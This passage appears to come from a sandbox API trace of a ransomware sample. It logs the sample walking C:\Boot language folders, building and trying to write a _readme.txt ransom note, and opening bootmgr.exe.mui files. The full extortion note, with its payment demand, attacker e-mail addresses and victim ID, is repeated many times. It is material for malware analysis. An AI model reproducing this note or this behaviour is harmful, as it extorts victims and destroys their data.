key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.360] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\_readme.txt" (normalized: "c:\\boot\\nb-no\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.360] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.361] PathFindExtensionW (pszPath="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned=".mui" [0117.361] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.361] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.361] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.361] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.361] PathFindFileNameW (pszPath="C:\\Boot\\nl-NL\\") returned="nl-NL\\" [0117.361] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.361] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.361] PathFindFileNameW (pszPath="") returned="" [0117.361] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.362] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.362] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.362] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.362] PathAppendW (in: pszPath="C:\\Boot\\nl-NL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 1 [0117.362] PathFileExistsW (pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 0 [0117.362] lstrcpyW (in: lpString1=0x6772170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.362] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.362] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\_readme.txt" (normalized: "c:\\boot\\nl-nl\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.362] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.362] PathFindExtensionW (pszPath="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned=".mui" [0117.362] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.363] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.363] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.363] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.363] PathFindFileNameW (pszPath="C:\\Boot\\pl-PL\\") returned="pl-PL\\" [0117.363] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.363] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.363] PathFindFileNameW (pszPath="") returned="" [0117.363] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.363] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.363] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.363] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.363] PathAppendW (in: pszPath="C:\\Boot\\pl-PL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 1 [0117.363] PathFileExistsW (pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 0 [0117.364] lstrcpyW (in: lpString1=0x6772170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.364] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.364] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\_readme.txt" (normalized: "c:\\boot\\pl-pl\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.364] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.364] PathFindExtensionW (pszPath="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned=".mui" [0117.364] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.364] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.364] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.364] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.364] PathFindFileNameW (pszPath="C:\\Boot\\pt-BR\\") returned="pt-BR\\" [0117.364] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.364] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.365] PathFindFileNameW (pszPath="") returned="" [0117.365] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.365] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.365] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.365] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.365] PathAppendW (in: pszPath="C:\\Boot\\pt-BR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 1 [0117.365] PathFileExistsW (pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 0 [0117.365] lstrcpyW (in: lpString1=0x6772170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.365] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.365] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\_readme.txt" (normalized: "c:\\boot\\pt-br\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.366] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.366] PathFindExtensionW (pszPath="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned=".mui" [0117.366] 